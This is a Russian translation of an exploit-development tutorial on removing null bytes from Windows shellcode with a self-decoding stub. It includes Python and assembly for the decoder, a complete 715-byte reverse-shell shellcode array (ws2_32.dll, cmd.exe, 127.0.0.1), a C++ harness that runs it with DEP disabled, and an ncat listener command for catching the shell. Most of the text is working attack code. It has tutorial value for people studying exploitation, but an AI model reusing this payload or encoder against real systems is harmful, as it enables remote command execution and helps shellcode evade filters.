Идея очень проста. Мы анализируем код байт за байтом и смотрим нету ли значение, которые не отображается нигде в шелл-коде. Скажем, значение 0x14. Теперь мы можем заменить 0x00 в шелл-коде на 0x14. Теперь шелл-код больше не содержит null-байт но и не может быть запущен из-за модификаций. Последний шаг: добавить что-то в некотром роде декодера в шелл-код, что бы он во время выполнения восстанавливал null-байты перед тем ккак шелл-код выполниться.

Вы можете посмотрет как код определен в массиве:

CALL $ + 4                                  ; PUSH "here"; JMP "here"-1
here:
  (FF)C0 = INC EAX                            ; не важно: просто NOP
  POP EDI                                     ; EDI = "here"
  MOV ECX, <xor value 1 for shellcode len>
  XOR ECX, <xor value 2 for shellcode len>    ; ECX = длина шелл-кода
  ADD EDI, shellcode_begin - here             ; EDI = абсолютный адрес оригинального шелл-кода 
  XOR ESI, ESI                                ; ESI = 0
  CLD                                         ; говорим STOSB идти дальше
loop1:
  MOV AL, BYTE PTR [EDI]                      ; AL = текущий байт шелл-кода 
  CMP AL, <missing byte>                      ; AL это специальный байт?
  CMOVE EAX, ESI                              ; если AL специальный байт, тогда EAX = 0
  STOSB                                       ; перезаписать текущий байт шелл-кода с AL
  LOOP loop1                                  ; DEC ECX; if ECX > 0 then JMP loop1
shellcode_begin:

Есть пару деталей, которые следует обговорить. Первым делом, данный код не может содержать null-байт, поскольку нам нужен будет другой код что бы удалить его из этого.

Как видите, инструкция CALL не перескакивает на «here» из-за того, что этот код был бы такой:

E8 00 00 00 00               #   CALL here

который содержал бы четыре null-байта. Так как инструкциия CALL имеет пять байт, CALL here эквивалентна CALL $+5. Фокус в том, что бы избавится от null-байта используя CALL $+4:

E8 FF FF FF FF               #   CALL $+4

Инструкция CALL пропускает 4 байта и делаем jmp на последний FF самой себя. Инструкци CALL следует за байтос С0, так что инструкция, которая выполняется после CALL – это INC EAX, которая соответствует FF C0. Помните, что значение запушенное инструкцией CALL все еще остается абсолютным адресом метки «here».

Вот второй трюк в коде, который избегает null-байтов:

MOV ECX, <xor value 1 for shellcode len>
XOR ECX, <xor value 2 for shellcode len>

Мы можем просто использовать :

MOV ECX, <shellcode len>

но это видаст нам null-байты. По сути, для шелл-кода длиной 0x400 мы получили бы:

B9 00 04 00 00        MOV ECX, 400h

который содержит три null-байта.

Что бы избежать этого, мы выбиаем не null-байт, который не появляется в 00000400h. Давайте скажем, что мы вибрали 0x01.
Тепер мы подсчитываем:

<xor value 1 for shellcode len> = 00000400h xor 01010101 = 01010501h
<xor value 2 for shellcode len> = 01010101h

Конечным результатом будет <xor value 1 for shellcode len> и <xor value 2 for shellcode len>, которые оба не содержат null-байт, если их сксорить, то получим оригинальное значение 400h.

Наши две инструкции:

B9 01 05 01 01        MOV ECX, 01010501h
81 F1 01 01 01 01     XOR ECX, 01010101h

Сказав что код легок в понимании, я имел ввиду что: он просто проходит по коду байт за байтом и переписывает null-байтом байты которые имеют специальные значения (0x14 в нашем примере).

Удаление null-байтов из шелл-кода (IІ)

Метод выше может не сработать если мы не найдем такого значения, которое еще не представлено в шелл-коде. Если такое случится, нам надо использовать get_fixed_shellcode, которая немного сложней.

Идея в том, что бы разделить шелл-код на блоки в 254 байта. Каждый блок должен иметь «отсутствующий байт» потому что байт может иметь 255 ненулевых значений. Мы можем бывать недостающий байт для каджого блока и обработать каждый блок индивидуально. Но это будет не очень эффективно по отношению к занятому месту, так как нам надо будет сохранять те N байт которые будут до или после шелл-кода (декодеру нужно знать о тех байтах). Другой, более разумный подход, это использовать один и тот же «недостающий байт» для как можно большого количества 254 байтных блоков. Мы начинаем с начала шелл-кода и продолжаем брать блоки до тех пор пока у нас не закончатся недостающие байты. Когда это случиться, мы удаляем последний блок из предыдущего участка и начинаем новый кусок начиная с последнего блока. В конце у нас будет список пар <missing_byte, num_blocks>:

[(missing_byte1, num_blocks1), (missing_byte2, num_blocks2), ...]

Я решил ограничить num_blocksX до одного байта, по этому num_blocksX будет между 1 и 255.

Здесь часть функции get_fixed_shellcode в кусках:

def get_fixed_shellcode(shellcode):
    '''
    Возвращает версию шелл-кода без null байтов. Эта версия далит шелл-код на блоки и должна использоваться только если get_fixed_shellcode_single_block() не работает с шелл-кодом. 
    '''
 
    # Формат bytes_blocks таков:
    #   [missing_byte1, number_of_blocks1,
    #    missing_byte2, number_of_blocks2, ...]
    # где missing_byteX это значение используемое для перезаписи null-байта
    # шелл-коде пока number_of_blocksX это количество 254-байтовых блоков где 
    # используется соответствующий недостающий missing_byteX.
    bytes_blocks = []
    shellcode_len = len(shellcode)
    i = 0
    while i < shellcode_len:
        num_blocks = 0
        missing_bytes = list(range(1, 256))
 
        # Пытается найти настолько много 254-байтовых последовательных блоков насолько возможно.
        # Стоит знать что 254-байтовый блок всегда нуждается в минимум одной null-байтовом значении     
        while True:
            if i >= shellcode_len or num_blocks == 255:
                bytes_blocks += [missing_bytes[0], num_blocks]
                break
            bytes = set([ord(c) for c in shellcode[i:i+254]])
            new_missing_bytes = [b for b in missing_bytes if b not in bytes]
            if len(new_missing_bytes) != 0:         # new block added
                missing_bytes = new_missing_bytes
                num_blocks += 1
                i += 254
            else:
                bytes += [missing_bytes[0], num_blocks]
                break
<обрезано>

Как и прежде, нам надо обсудить «декодер» который добавлен в шелл-код. Данный декодер немного длинный нежели предыдущий, но принцип остался тем же:

Код:

code = ([
    0xEB, len(bytes_blocks)] +                          #   JMP SHORT skip_bytes
                                                        # bytes:
    bytes_blocks + [                                    #   ...
                                                        # skip_bytes:
    0xE8, 0xFF, 0xFF, 0xFF, 0xFF,                       #   CALL $ + 4
                                                        # here:
    0xC0,                                               #   (FF)C0 = INC EAX
    0x5F,                                               #   POP EDI
    0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, <xor value 1 for shellcode len>
    0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, <xor value 2 for shellcode len>
    0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF,        #   LEA EBX, [EDI + (bytes - here)]
    0x83, 0xC7, 0x30,                                   #   ADD EDI, shellcode_begin - here
                                                        # loop1:
    0xB0, 0xFE,                                         #   MOV AL, 0FEh
    0xF6, 0x63, 0x01,                                   #   MUL AL, BYTE PTR [EBX+1]
    0x0F, 0xB7, 0xD0,                                   #   MOVZX EDX, AX
    0x33, 0xF6,                                         #   XOR ESI, ESI
    0xFC,                                               #   CLD
                                                        # loop2:
    0x8A, 0x07,                                         #   MOV AL, BYTE PTR [EDI]
    0x3A, 0x03,                                         #   CMP AL, BYTE PTR [EBX]
    0x0F, 0x44, 0xC6,                                   #   CMOVE EAX, ESI
    0xAA,                                               #   STOSB
    0x49,                                               #   DEC ECX
    0x74, 0x07,                                         #   JE shellcode_begin
    0x4A,                                               #   DEC EDX
    0x75, 0xF2,                                         #   JNE loop2
    0x43,                                               #   INC EBX
    0x43,                                               #   INC EBX
    0xEB, 0xE3                                          #   JMP loop1
                                                        # shellcode_begin:
])

bytes_blocks это массив:

[missing_byte1, num_blocks1, missing_byte2, num_blocks2, ...

Мы говорили об этом прежде, но без пар. Заметьте что код начинается с JMP SHORT который пропускает bytes_blocks. Для этого len(bytes_blocks) должно быть менее или равно 0xFF. Но как вы видите, len(bytes_blocks) появляется в другой инструкции тоже:

0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF,        #   LEA EBX, [EDI + (bytes - here)]

Это требует что бы len(bytes_blocks) было меньше или равно 0x7F – 5, по этому это финальное условие. Вот что случиться если условие будет нарушено:

if len(bytes_blocks) > 0x7f - 5:
        # Can't assemble "LEA EBX, [EDI + (bytes-here)]" or "JMP skip_bytes".
        return None

Давайте изучим код более детально:

JMP SHORT skip_bytes
bytes:
  ...
skip_bytes:
  CALL $ + 4                                  ; PUSH "here"; JMP "here"-1
here:
  (FF)C0 = INC EAX                            ; not important: just a NOP
  POP EDI                                     ; EDI = absolute address of "here"
  MOV ECX, <xor value 1 for shellcode len>
  XOR ECX, <xor value 2 for shellcode len>    ; ECX = shellcode length
  LEA EBX, [EDI + (bytes - here)]             ; EBX = absolute address of "bytes"
  ADD EDI, shellcode_begin - here             ; EDI = absolute address of the shellcode
loop1:
  MOV AL, 0FEh                                ; AL = 254
  MUL AL, BYTE PTR [EBX+1]                    ; AX = 254 * current num_blocksX = num bytes
  MOVZX EDX, AX                               ; EDX = num bytes of the current chunk
  XOR ESI, ESI                                ; ESI = 0
  CLD                                         ; tells STOSB to go forwards
loop2:
  MOV AL, BYTE PTR [EDI]                      ; AL = current byte of shellcode
  CMP AL, BYTE PTR [EBX]                      ; is AL the missing byte for the current chunk?
  CMOVE EAX, ESI                              ; if it is, then EAX = 0
  STOSB                                       ; replaces the current byte of the shellcode with AL
  DEC ECX                                     ; ECX -= 1
  JE shellcode_begin                          ; if ECX == 0, then we're done!
  DEC EDX                                     ; EDX -= 1
  JNE loop2                                   ; if EDX != 0, then we keep working on the current chunk
  INC EBX                                     ; EBX += 1  (moves to next pair...
  INC EBX                                     ; EBX += 1   ... missing_bytes, num_blocks)
  JMP loop1                                   ; starts working on the next chunk
shellcode_begin:

Тестирование скрипта

Это наиболее легкая часть! Если запустить скрипт без аргументов, он выведет:

Shellcode Extractor by Massimiliano Tomassoli (2015)
 
Usage:
  sce.py <exe file> <map file>

Если вы помните, мы говорили линкеру VS 2013 что бы он выдавал нам map-файл. Просто вызовите скрипт с путем к exe файлу и к map-файлу. Вот что мы получим:

Shellcode Extractor by Massimiliano Tomassoli (2015)

Extracting shellcode length from "mapfile"...
shellcode length: 614
Extracting shellcode from "shellcode.exe" and analyzing relocations...
Found 3 reference(s) to 3 string(s) in .rdata
Strings:
  ws2_32.dll
  cmd.exe
  127.0.0.1

Fixing the shellcode...
final shellcode length: 715

char shellcode[] =
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01"
"\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
"\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05"
"\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83"
"\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8"
"\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc"
"\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01"
"\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70"
"\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73"
"\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8"
"\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01"
"\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05"
"\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98"
"\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84"
"\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85"
"\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02"
"\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05"
"\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24"
"\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d"
"\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54"
"\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66"
"\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57"
"\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24"
"\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2"
"\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d"
"\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52"
"\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0"
"\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05"
"\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33"
"\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb"
"\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0"
"\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14"
"\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b"
"\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8"
"\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
"\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b"
"\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc"
"\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff"
"\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
"\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f"
"\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48"
"\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6"
"\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73"
"\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65"
"\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05";

Часть о перемещениях очень важна, потому что вы можете проверить всё ли нормально. К примеру, мы знаем что наш шелл использует 3 строки и они все коректно экспортированы из секции .rdata. Мы видим что оригинальный размер шелл-кода 615 байтов и результирующий шелл-код (после обработки) занимает 715 байт.

Теперь нам надо запустить результирующий шелл-код. Скрипт дает нам шелл-код в С/С++ формате, так что нам надо скопировать и вставить его в маленький С/С++ файл.

Вот исходник:

#include <cstring>
#include <cassert>
 
// Важно: Отключите DEP!
//  (Linker->Advanced->Data Execution Prevention = NO)
 
void main() {
    char shellcode[] =
        "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01"
        "\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
        "\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05"
        "\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83"
        "\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8"
        "\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc"
        "\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01"
        "\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70"
        "\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73"
        "\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8"
        "\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01"
        "\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05"
        "\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98"
        "\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84"
        "\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85"
        "\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02"
        "\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05"
        "\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24"
        "\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d"
        "\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54"
        "\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66"
        "\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57"
        "\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24"
        "\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2"
        "\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d"
        "\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52"
        "\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0"
        "\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05"
        "\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33"
        "\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb"
        "\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0"
        "\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14"
        "\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b"
        "\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8"
        "\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
        "\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b"
        "\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc"
        "\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff"
        "\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
        "\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f"
        "\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48"
        "\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6"
        "\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73"
        "\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65"
        "\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05";
 
    static_assert(sizeof(shellcode) > 4, "Use 'char shellcode[] = ...' (not 'char *shellcode = ...')");
 
    // Мы копируем шелл-код в кучу, этто в памяти с правами редактирования, так что мы можем изменять код
    char *ptr = new char[sizeof(shellcode)];
    memcpy(ptr, shellcode, sizeof(shellcode));
    ((void(*)())ptr)();
}

Что бы привести этот код в рабочее состояние нам надо выключить DEP (Data Execution Prevention) выполнив Project→ Properties и потом в Configuration Properties, Linker and Advanced, установить Data Execution Prevention (DEP) в No (/NXCOMPAT:NO). Это нужно для того, что бы наш шелл-код мог выполниться из кучи.

static_assert был введен в С++11 (по этому требуется VS 2013 CTP) и используется это для:

char shellcode[] = "..."

вместо:

char *shellcode = "..."

В первом случае sizeof(shellcode) – это эффективная длина шелл-кода и шелл-код копируется в стек. Во втором случае, sizeof(shellcode) это просто размер указателя (к примеру 4) и указатель указывает на .rdata секцию.
Протестировать шелл-код можна так: откройте командную строку и введите:

ncat -lvp 123

Далее, запустите шелл-код и посмотрите работает ли он.

© Translated by klaus (r0 Crew)